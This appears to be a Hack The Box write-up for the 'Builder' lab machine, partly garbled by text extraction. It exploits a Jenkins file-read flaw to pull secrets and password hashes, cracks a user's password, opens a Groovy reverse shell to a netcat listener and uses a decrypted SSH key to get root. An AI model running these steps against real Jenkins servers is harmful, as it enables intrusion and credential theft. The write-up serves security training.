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Introduction

Builder is a medium-difficulty Linux machine that features a Jenkins instance. The Jenkins instance is
found to be vulnerable to the CVE-2024-23897 vulnerability that allows unauthenticated users to read
arbitrary files on the Jenkins controller file system. An attacker is able to extract the username and
password hash of the Jenkins user jennifer. Using the credentials to login into the remote Jenkins
instance, an encrypted SSH key is exploited to obtain root access on the host machine.

Machine Description

Name: Builder

* Goal: Get two flags

* Difficulty: Medium
Operating System: Linux

link: https://app.hackthebox.com/machines/591


https://www.cvedetails.com/cve/%5BCVE-2024-23897%5D(https://nvd.nist.gov/vuln/detail/CVE-2024-23897)/
https://app.hackthebox.com/machines/591
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Reconnaissance

> nmap -p- --min-rate 5000 10.129.230.220 nmap/scanl.txt
Starting Nmap 7.98 ( https:/nmap.org ) at 2025-10-21 10:15 +0200

Nmap scan report 10.129.230.220

Host is up (0.17s latency).

Not shown: 41873 closed tcp ports (reset), 23660 filtered tcp ports (no-response
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT STATE SERVICE

22/tcp open ssh

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 22.82 seconds
nmap reports us the ports 22 and 8080, then we can make a further enumeration using -sCV:

> nmap -p22,8080 10.129.230.220 scan2.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-21 10:16 +0200




Nmap scan report 10.129.230.220
Host is up (0.041s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh  OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0
ssh-hostkey:

256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA
256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f: 1b:cf:b4:e3:94 (ED25519
8080/tcp open http Jetty 10.0.18
_http-title: Dashboard [Jenkins
http-open-proxy: Potentially OPEN proxy.
~Methods supported: CONNECTION
_http-server-header: Jetty(10.0.18
http-robots.txt: 1 disallowed entry

/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.88 seconds

This time nmap scripts and banner grabbing reported us a Jenkins instance running in the previous port
8080.

We can quickly realized about the Jenkins version 2.441:

REST API Jenkins 2.441

> searchsploit jenkins 2.441

Exploit Title

Jenkins 2.441 - Local File Inclusion

java/webapps/51993.py

Shellcodes: No Results

After a quick vulnerability search using searchsploit we can see that a exploit is available in this
version, in this case a LFI.

> python3 jenkins_Ifi.py -u http://10.129.230.220:8080/ -p /etc/passwd
www-data:x:33:33:www-data:/var/www:/ust/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin




_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/ust/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/ust/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/ust/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

Reading in some articles and blogs, Jenkins store users credentials which we can attempt to crack if we
can access to master.key, credentials.xml y hudson.util.Secret.

* https://github.com/gquere/pwn_jenkins/blob/master/offline decryption/jenkins offline decrypt.py

> python3 jenkins_Ifi.py -u http://10.129.230.220:8080/ -p /var/jenkins_home/secrets/master.key
3e3a8909d274de18b90e8d41789423c041dae2b1132514ac43b9714d62305dfba277b5becec3a06339d9f111e902b64d063
bf2eb322eb64 1edb846e6c019¢95cbc38b8491cc2085d5f220c5b6e5468197d0397502¢c6afc5a%a1375d346cd0adf08ebe3
77148124b9422e91beb5596cdecd72886d7c7e3816a8c488e0270394347

python3 jenkins Ifi.py -u http://10.129.230.220:8080/ -p /var/jenkins_home/secrets/master.key > ../content/master.key

python3 jenkins_Ifi.py -u http://10.129.230.220:8080/ -p /var/jenkins_home/credentials.xml

/content/credentials.xml

python3 jenkins_Ifi.py -u http://10.129.230.220:8080/ -p /var/jenkins home/secrets/hudson.util.Secret

/content/hudson.util.Secret

> Is ../content

credentials.xml [] hudson.util.Secret [] master.key

Explotation

After obtaining these needed files, I tried to crack it but nothing since the exploits appers to only
works once you're within the Jenkins instance/docker.

What I did was set up the jenkins docker locally in my attack machine in order to understand how it
works talking about sensible file. After a while a realized that users and their credentials are store in
users.xml. So lets try to dump the users.xml file knowing the jenkins directory:

> python3 jenkins_Ifi.py -u http://10.129.230.220:8080/ -p /var/jenkins_home/users/users.xml

7xml ?



https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py

string>jennifer 12108429903186576833</string
idToDirectoryNameMap
entry
string>jennifer</string
version>1</version
/hudson.model.Userl[dMapper
/idToDirectoryNameMap
hudson.model.UserldMapper
/entry
> python3 jenkins_Ifi.py -u http://10.129.230.220:8080/
/var/jenkins _home/users/jennifer 12108429903186576833/config.xml
hudson.tasks.Mailer -UserProperty
hudson.search.UserSearchProperty
roles
jenkins.security.seed.UserSeedProperty
/tokenStore
/hudson.search.UserSearchProperty
timeZoneName></timeZoneName
properties
jenkins.security. LastGranted AuthoritiesProperty
flags/
hudson.model.MyViewsProperty
/user
/jenkins.security. ApiTokenProperty
views
string>authenticated</string

org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty

name>all</name

description></description

emailAddress>jennifer@builder.htb</email Address

collapsed/

/jenkins.security.seed.UserSeedProperty
/org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty
/hudson.model. My ViewsProperty

domainCredentialsMap

filterQueue>false</filterQueue

jenkins.security. ApiTokenProperty

primary ViewName></primary ViewName
/views
/hudson.model. TimeZoneProperty

com.cloudbees.plugins.credentials.UserCredentialsProvider -UserCredentialsProperty

/hudson.model.PaneStatusProperties
/hudson.tasks.Mailer -UserProperty
tokenList/
jenkins.console.ConsoleUrlProviderUserProperty/
/hudson.model.AllView
timestamp>1707318554385</timestamp
owner

/properties




/jenkins.model.experimentalflags. UserExperimentalFlagsProperty
/com.cloudbees.plugins.credentials.UserCredentialsProvider -UserCredentialsProperty
hudson.security.HudsonPrivateSecurityRealm -Details
insensitiveSearch>true</insensitiveSearch
properties
hudson.model. TimeZoneProperty
hudson.model. AllView
/hudson.security. HudsonPrivateSecurityRealm -Details
providerld>default</providerld
/roles
/jenkins.security.LastGranted AuthoritiesProperty
jenkins.model.experimentalflags. UserExperimentalFlagsProperty
hudson.model.PaneStatusProperties
?7xml ?
fullName>jennifer</fullName
seed>6841d11dcldel01d</seed
id>jennifer</id
version>10</version
tokenStore
filterExecutors>false</filterExecutors

i0.jenkins.plugins.thememanager. ThemeUserProperty

passwordHash

> hashid -m hash
Analyzing
+]| Blowfish(OpenBSD) [Hashcat Mode: 3200
+| Woltlab Burning Board 4.x
+| berypt [Hashcat Mode: 3200
of file -%

> hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.
Failed to initialize NVIDIA RTC library.
* Device
CUDA SDK Toolkit required for proper device support and utilization.
For more information, see: https://hashcat.net/faq/wrongdriver
Falling back to OpenCL runtime.
OpenCL API (OpenCL 3.0 CUDA 13.0.94) - Platform

* Device

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 72




Minimum salt length supported by kernel: 0

Maximum salt length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
RUIEH

Optimizers applied:
* Zero-Byte

* Single-Hash

* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 535 MB (6240 MB free

Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384

* Bytes.....: 139921497

* Keyspace..: 14344384

.ccfpiltvow/XuBtS44S70UpR2JYiobgxcDQJeN/L4l1a:princess

Session : hashcat

Status .. Cracked

Hash.Mode : 3200 (berypt $2*$, Blowfish (Unix

Hash.Target......: .ccpiltvow/XuBtS44S70UpR2JYiobgxcDQ.../L4l1a
Time.Started.....: Tue Oct 21 11:51:53 2025 (0 secs

Time.Estimated...: Tue Oct 21 11:51:53 2025 (0 secs

Kernel.Feature...: Pure Kernel (password length 0-72 bytes
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt

Guess.Queue......: 1/1 (100.00%

Speed.

Recovered : 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new
Progress .2330/14344384 (0.00%

Rejected .- 0/330 (0.00%

Restore.Point....: 0/14344384 (0.00%

Restore.Sub.

Candidate.Engine.: Device Generator

Candidates.

Hardware.Mon.

Started: Tue Oct 21 11:51:47 2025
Stopped: Tue Oct 21 11:51:54 2025

After using hashcat, we could crack the jeniffer's password, now we can log in the Jenkins instance.




Once in, we can go to /script path and execute a groovy rev shell:

00 U2 @jennifer |[[Zlogo

Script Console

Type in an arbitrary Groovy script and execute it on the server. Useful for trouble-shooting and diagnostics. Use the
‘println’ command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.)
Example:

println(Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model. * are pre-
imported.

def proc = .execute();

def os = new StringBuffex();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Result ©

uid=10808(jenkins) gid=10@@(jenkins) groups=100@(jenkins)

imported

1 string host=

2 int port=4444;

3 string cmd= ;Process p=new ProcessBuilder(cmd).rediTectExrorstream(true).start()
4

> nc -nlvp 4444
Connection from 10.129.230.220:58598

id
uid=1000( jenkins) gid=1000( jenkins) groups=1000( jenkins)

Result ©

Privilage Escalation

Once in, although we're in the jenkins docker container and not in the target machine, we can now try
the previous exploit that did not work initially:

| https://github.com/hoto/jenkins-credentials-decryptor

jenkins@0f52c¢222adcc:~$ ./jenkins-credentials-decryptor -m secrets/master.key -c credentials.xml

./secrets/hudson.util.Secret



https://github.com/hoto/jenkins-credentials-decryptor

This works since Jenkis is using a ssh plugin where

Once the exploit retrieve the ssh key, we can ssh to the main target machine:

jenkins@0£52c222a4cc:~$ ssh root@10.129.230.220 -i id rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-94-generic x86 64

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/pro

System information as of Tue Oct 21 01:46:56 PM UTC 2025




System load: 0.0

Usage of /: 66.5% of 5.81GB

Memory usage: 21%

Swap usage: 0%

Processes: 223

Users logged in: 0

[Pv4 address docker0: 172.17.0.1

[Pv4 address ethO: 10.129.230.220

[Pv6 address ethO: dead:beef::250:56ff:fe94:977

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.

sm or run: sudo pro status

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

Failed to connect to https://changelogs.ubuntu.com/meta-release-Its. Check your Internet connection or proxy settings

ogin: Tue Oct 21 13:46:59 2025 from 172.17.0.2
root@builder:~

O(root O(root O(root

And we're now root in the main target machine.



